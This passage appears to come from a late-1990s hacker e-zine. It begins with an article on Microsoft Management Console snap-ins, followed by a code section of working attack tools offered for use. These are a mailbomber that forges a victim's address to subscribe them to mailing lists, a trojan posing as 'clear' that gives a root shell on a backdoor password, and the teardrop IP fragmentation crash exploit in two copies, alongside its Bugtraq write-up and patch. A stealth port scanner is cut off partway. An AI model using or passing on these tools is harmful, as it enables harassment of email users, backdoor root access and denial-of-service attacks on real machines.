in NT 4.0. Basically you would use a taskpad to launch wizards. In the NT 4.0
Administrative Tools folder, you will find an Administrative Wizards entry.
If you select it, a window would open, or a launch pad, that then lets you
load one of the administrative tools wizards. These wizards are made to help
you use NT Server tools. Programmers are not required to use an MMC interface
to access taskpads, but it is to their advantage to do so, since the standard
that MMC offers will make it easier for the end user to figure out and use the
programmer's tool. Also, when you reduce the taskpad to a toolbar, it is
handy because the tool is right there, when you need it.
Snap-Ins will manages most of the Microsoft system services, that are
currently under 'Services' in the Control Panel. A system with NT 5.0, or IIS
4.0, will include the Snap-Ins from Microsoft for these services. This will
make it easy for a programmer to skip these since they are already done. There
is nothing stoping the programmer from writing those services again, but why
waste time reinventing the wheel? The programmer might want to extend upon the
Microsoft services, and that is easily done with Snap-Ins.
All 32 bit Windows platforms will support MMC eventually, but only
when MMC is working with NT can it provide security functions. Basically, this
means that on a Win95 or Win98 system, MMC applications will only be able to
view or monitor data and devices. If you want to have a console that can
run Snap-Ins and modify data, you will need an NT system running NTFS. This
will be enforced so that the NT security model can be applied. Otherwise,
unauthorized users could change or modify the manageable systems.
How MMC Works
-------------
I tested a beta of MMC on a system running NT 4.0 with a IIS 4.0 beta.
By the time this gets out and printed, the system should be running NT 5.0, so
I should be able to tell you more about MMC soon. When you start up MMC, you
are greeted with an empty console, and you use the Snap-In Manager to add
Snap-Ins into the console view, creating a tool. As you add in more Snap-Ins,
they load dyanmically into the tool's namespace. The namespace is a collection
of the locations the tool manages and the tasks it performs.
Microsoft has asked its vendors to develop Snap-Ins in C++ and has
compiled a set of guidelines for their appearance and presentation. This,
coupled with MMC's Explorer type interface will let most Win95 and NT admins
get up to speed fast. MMC displays Snap-Ins and their contents in the left
pane and defines the left pane selection in the right pane. MMC's MDI lets
you resize the primary window or open additional windows to display
management statistics, tools, or whatever a specifice Snap-In was developed to
display. Snap-Ins are protocol independant, so you can use them for management
of both hardware and software. A Snap-In can control of monitor any activity,
and you can add the same Snap-In to multiple tools and save each tool with its
own namespace. While you could add Snap-Ins ad infinitum to one tool, it would
be wiser to create individual tools for specific tasks. A single tool might
perform a management task either across the whole network, or just a single
machine, like a mail server, or an HTTP server.
If you need to manage multiple, nonreated tasks, you can launch
multiple tools, each with its own MMC. However, if you launch multiple tools
in one instance of MMC, then the namespace changes of one tool might not
be changed in the namespace of another. And if you launch more than one tool,
each in its own instance of MMC, changes to one will definately not be changed
on the other tools.
More on Snap-Ins
----------------
A Snap-In can be either standalone or and extension. A standalone
Snap-In can interact with other Snap-Ins and use shared .DLLs, but it does not
require the presence of, or information from, another Snap-In to function.
Thus, while this type of Snap-In can use other Snap-Ins to expand its
management role, it can also work alone.
An extension Snap-In, on the other hand, may add capabilities to
another Snap-In or to the console, but it can not function with out some other
Snap-In. For example, a router Snap-In might require data from others that
monitor different aspects of the router's performance.
Anyone can create a Snap-In in a way. You can create a shortcut in the
MMC console to any tool (even a non-MMC tool). When you save the tool's
console view, which could contain only that shortcut becomes a Snap-In that
launches the tool. The console view is not limited to one Snap-In, so you can
display many Snap-Ins covering many different management task all at once. A
Snap-In also can display information provided by another Snap-In installed on
the system. For example, a programmer might write a Snap-In, whose purpose is
only to provide data to another Snap-In, which processes and displays that
data.
Saving Tools
------------
MMC lets you save console configurations as .MSC files (Management
Saved Console). The .MSC file doesn't contain the Snap-Ins, it is just and
OLE file containing such information as which Snap-Ins to load and what state
to open them in. This lets you (or your applications) create a particular
configuration of Snap-Ins and save it - a time saver because you can collect
all the Snap-Ins necessary in one configuration file.
When you launch an .MSC file, MMC loads with appropriate Snap-Ins.
For example, you can create a tool that includes IIS's management pieces only
for running and maintaining a network's FTP servers. The console could view,
or focus on the FTP service, while the saved tool might also include a
Performance Monitor Snap-In that focuses on FTP statistics. You can then
distribute this tool to other people who will maintain the FTP servers. When
they launch the tool, only the tools needed to perform that task will load
into MMC. Anyone who wants to use this tool, must have the appropriate
Snap-Ins - as well as MMC - installed locally.
But, with NT 5.0's Active Directory Services and its
applications-locations independance, you will be able to distribute an .MSC
file to anyone, and they will be able to use it whether or not all the
Snap-Ins it involves are installed on their machine. You can distribute a tool
with out Active Directory Services, but all users of the configured console
would have to have the appropriate tools, MMC, and all of the Snap-Ins needed,
installed on their machine.
Who Will Use MMC?
-----------------
NT 5.0 Users will not be able to avoid MMC. All of the tools used to
maintain and configure NT (including those in the Administrative Tools folder)
will be MMC Snap-Ins. While some people may say that MMC is merely another
Microsoft plot to dominate the market (this point does have some validity),
but over all, this is not the case. MMC is merely an API, that other companies
do not have to use, but they most likely will, since MMC tools will all have
the same look and feel, thus making it easy for users to use. The MMC plot
also entices programmers to keep writing tools for NT and Win32, rather than
moving on to plalform-independant Java applications. As soon as NT 5.0 ships,
Microsoft has over 500 Snap-Ins ready to go, but many programmers and
companies are not ready yet, so we will have to wait and see what will happen
to MMC.
Thanks
------
Thanks go out to several people, who helped make this article possible:
Thanks to brianb_ for letting me use this IIS 4 equiped box, and for
(hopefully) letting me us his box once NT 5.0 is on there.
Thanks to brianb_'s work for giving him all of the newest, latest &
greatest from Microsoft for him to use. Keep up the great work!
Thanks to Scud-O for publishing this article.
Stay tuned for more information from me when NT 5.0 is released.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Code:
[01] bomber.c by memor : Mailbomber using mailing lists.
[02] cleart.c by memor : clear trojan.
[03] ip_frag.c by simon : IP fragmentation bug
[04] thejackal.c by Ralph5 : stealth port scanner
[05] land.c Information by simon : Information on land.c
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
[01] bomber.c by memor
/*
Some mailbomber using mailing lists tekneek
for merk & irc2 warriors@#~
edit your list.txt in the directory where is the bomber
and type in with your elite pico :
majordomo1@elite.serv.com
mailinglists1
sexlist
warezlist
majordomo2@another.elite.serv.com
mailinglists8
sexlist4
warezlist2
to run it.. without verbose mode:
bomber mailhost.where.u.send.mail.net victim@lamer.org
to run it.. with verbose mode:
bomber mailhost.where.u.send.mail.net victim@lamer.org -v
have fun..
tested on linux.. improve it as you want, free thing..
memz
*/
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <strings.h>
#define MAXCHAR 255
char sendq[MAXCHAR];
FILE *soc;
int sock, verbs;
struct sockaddr_in ip;
struct hostent *hos;
char ch;
void sendit();
void receiv();
void main(int argc,char *argv[])
{
FILE *in;
char string[MAXCHAR];
char email[MAXCHAR];
char victim[MAXCHAR];
char listname[MAXCHAR];
char mailserver[MAXCHAR];
int globalc,a,x,isit,count;
if(argc<3)
{
printf("Bomber 1.0 .. memz .. \n");
printf("Usage: %s <mailserver> <victim@bla.net> [-v]\n",argv[0]);
printf("edit your list.txt and put the majordomo servers and lists to subscribe\n");
exit(1);
}
if(argc>3)
{
if(strcmp("-v",argv[3])==0) verbs=1;
}
sprintf(mailserver,"%s",argv[1]);
sprintf(victim,"%s",argv[2]);
if( (in = fopen("list.txt","r")) == NULL )
{
printf("Can't open list file\n");
printf("You need a file -list.txt- containing the majordomo emails and\n");
printf("The mailing list you want the victim subscriber..\n");
exit(1);
}
count = 0;
globalc = 0;
do
{
a=fscanf(in,"%s",string);
if(a!=EOF)
{
count++;
isit=0;
for(x=0;x<strlen(string);x++)
{
if(string[x]=='@')
{
isit=1;
sprintf(email,"%s",string);
count=1;
}
}
if(isit==0)
{
sprintf(listname,"%s",string);
}
if(count>1)
{
if(( hos = gethostbyname(mailserver)) == NULL )
{
printf("host not found..\n");
exit(1);
}
bzero((char *)&ip,sizeof(ip));
bcopy(hos->h_addr,(char *)&ip.sin_addr,hos->h_length);
ip.sin_family=hos->h_addrtype;
ip.sin_port=htons(25);
if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0 )
{
perror("socket");
exit(1);
}
soc=fdopen(sock, "r");
if(connect(sock,(struct sockaddr *)&ip,sizeof(struct sockaddr)) < 0 )
{
perror("connect");
exit(1);
}
globalc++;
receiv();
sprintf(sendq,"HELO BOO.NET\n");
sendit();
receiv();
sprintf(sendq,"MAIL FROM: %s\n",victim);
sendit();
receiv();
sprintf(sendq,"RCPT TO: %s\n",email);
sendit();
receiv();
sprintf(sendq,"DATA\n");
sendit();
receiv();
sprintf(sendq,"subscribe %s\n",listname);
sendit();
sprintf(sendq,".\n");
sendit();
receiv();
if(verbs==1)
printf("Victim subscribed to %d Mailing Lists.. \n",globalc);
fclose(soc);
close(sock);
}
}
}while(a!=EOF);
printf("\nFinished..\n");
printf("Victim has been subscribed to %d Mailing Lists.. \n",globalc);
}
void sendit()
{
if(verbs==1)
printf("%s",sendq);
if ( send(sock, sendq, strlen(sendq), 0) < 0 )
{
perror("send");
exit(1);
}
}
void receiv()
{
do
{
ch=getc(soc);
if(verbs==1)
printf("%c",ch);
}
while(ch!=-1 && ch!=13);
if(verbs==1)
printf("\n");
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
[02] cleart.c by memor
/*
clear trojan by memor.. made this morning cause of an extremly-boring day
give root /bin/sh (clear root root)
hbs - 97/98
*/
#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#define BACKDOOR "R33+"
void main(argc,argv)
int argc;
char **argv;
{
if(argc>1)
{
if(strcmp(BACKDOOR,argv[1])==0) { printf("backdoor..\n");
sprintf(argv[0],"pico ");
sprintf(argv[1]," ");
system("/bin/sh"); }
}
printf("\033[2J");
printf("\033[1;1H");
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
[03] IP Fragmentation Bug
By simon, <simon@yahoo.com>
Disclaimer:
I am NOT claiming to have found this hole, I am merely presenting it to
people. Some information that I have found may be included, but most of the
information is straight out of Bugtraq.
This exploit is commonly called teardrop.c, due to route's release of this
code on 11/13/97.
Patches:
- Linux 2.0.32 will include the IP frag patch for this exploit.
- Microsoft has a patch that will correct this problem available at :
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
hotfixes-postSP3/simptcp-fix
--------------------------
From route's Bugtraq post:
--------------------------
As it happens, Linux has a serious bug in it's IP fragmentation module.
More specifically, in the fragmentation reassembly code. More specifically,
the bug manifests itself in the `ip_glue()` function....
When Linux reassembles IP fragments to form the original IP datagram, it
runs in a loop, copying the payload from all the queued fragments into a newly
allocated buffer (which would then normally be passed to the IP layer proper).
From ip_fragment.c@376:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
While it does check to see if the fragment length is too large, which
would have the kernel copy too much data, it doesn't check to see if the
fragment length is too small, which would have the kernel copy WAY too data
(such is the case if fp->len is < 0).
To see when this happens, we need to look at how Linux adds IP datagrams
to the reassembly queue. From ip_fragment.c@502:
/*
* Determine the position of this fragment.
*/
end = offset + ntohs(iph->tot_len) - ihl;
Ok. That's nice. Now we have to look at what happens when we have
overlaping fragments... From ip_fragment.c@531:
/*
* We found where to put this one.
* Check for overlap with preceding fragment, and, if needed,
* align things so that any overlaps are eliminated.
*/
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
If we find that the current fragment's offset is inside the end of a
previous fragment (overlap), we need to (try) align it correctly. Well, this
is fine and good, unless the payload of the current fragment happens to NOT
contain enough data to cover the realigning. In that case, `offset` will end
up being larger then `end`. These two values are passed to `ip_frag_create()`
where the length of the fragment data is computed. From ip_fragment.c@97:
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset;
This results in fp->len being negative and the memcpy() at the top will end
up trying to copy entirely too much data, resulting in a reboot or a halt,
depending on how much physical memory you've got.
We can trigger this normally unlikely event by simply sending 2 specially
fragmented IP datagrams. The first is the 0 offset fragment with a payload of
size N, with the MF bit on (data content is irrelevant). The second is the
last fragment (MF == 0) with a positive offset < N and with a payload of < N.
Every linux implementation I have been able to look at seems to have this
problem (1.x - 2.x, including the development kernels).
Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of
these fragment combos to an NT/95 machine.
Special thanks to klepto for bringing the problem to my attention and
writing the initial exploit.
route|daemon9 route@infonexus.com
------[Begin] -- Guby Linux -------------------------------------------------
/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/* EOF */
------[End] -- Guby Linux ----------------------------------------------------
And the patch:
------[Begin] -- Helu Linux -------------------------------------------------
--- ip_fragment.c Mon Nov 10 14:58:38 1997
+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997
@@ -12,6 +12,7 @@
* Alan Cox : Split from ip.c , see ip_input.c for history.
* Alan Cox : Handling oversized frames
* Uriel Maimon : Accounting errors in two fringe cases.
+ * route : IP fragment overlap bug
*/
#include <linux/types.h>
@@ -578,6 +579,22 @@
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}
+
+ /*
+ * Uh-oh. Some one's playing some park shenanigans on us.
+ * IP fragoverlap-linux-go-b00m bug.
+ * route 11.3.97
+ */
+
+ if (offset > end)
+ {
+ skb->sk = NULL;
+ printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
+ kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
/*
* Insert this fragment in the chain of fragments.
------[End] -- Helu Linux ----------------------------------------------------
EOF
----------------
End Bugtraq Post
----------------
My own tweeked version of teardrop.c
ip_frag.c:
Ok, I know this code is barely different from route's, but this is a work
in progress. Give me time.
/*
* Linux/NT/95 Overlap frag bug exploit by simon <simon@yahoo.com>
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95
*
* Based on teardrop.c by route. Thanks to him for bringing this to
* everyone's attention. Thanks to klepto for showing it to route.
*
* Please forgive my poor tweeking of this code.
*
* Try 'gcc -O2 ip_frag.c -o ip_frag' to compile this
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "ip_fraq simon, based on route's code.\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("Raw Socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death from above:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "kA-b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
[04] thejackal.c by Ralph5
/* thejackal.c - stealth/firewall scanner. This does not complete the 3 way
TCP/IP handshake, so nothing is written to the victim's log files.
Released to celebrate the return of The Jackal, a great movie. Go see it.
Ralph5 - [11/13/97]
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
int timeout = 0;
int counter = 0;
void usage(char *name)
{
printf("usage:%s [-h target_ip] [-i your_ip] [-t timeout] [-s start-port] [-e end-port] [-f FIN] [-a ACK]\n",name);
exit(-1);
}
void handler(int whateva)
{
alarm(0);
timeout = 1;
}
/* Checksum Gen */
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* Our algorithm is simple, using a
32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}
/* Generates the tcp header and packet */
struct tcphdr packetgen(int fin,int ack,unsigned int src_addr,unsigned int dst_addr, int port)
{
/* we create both a tcpheader and a ipheader to calculate checksum */
struct tcphdr packet;
struct ipheader
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}
pseudo_header;
counter++;
/* Fill the headers with the options and data */
packet.source = getpid() + counter;
packet.dest = htons(port);
packet.seq = getpid() + counter;
packet.ack_seq = 0;
packet.res1 = 0;
packet.doff = 5;
packet.res2 = 0;
packet.fin = fin;
packet.syn = 1;
packet.rst = 0;
packet.psh = 0;
packet.ack = ack;
packet.urg = 0;
packet.window = htons(512);
packet.check = 0;
packet.urg_ptr = 0;
/* We need this for the checksum */
pseudo_header.source_address = src_addr;
pseudo_header.dest_address = dst_addr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy(&packet, &pseudo_header.tcp, 20);
/* Get the checksum and viowlla tcphdr is done :) */
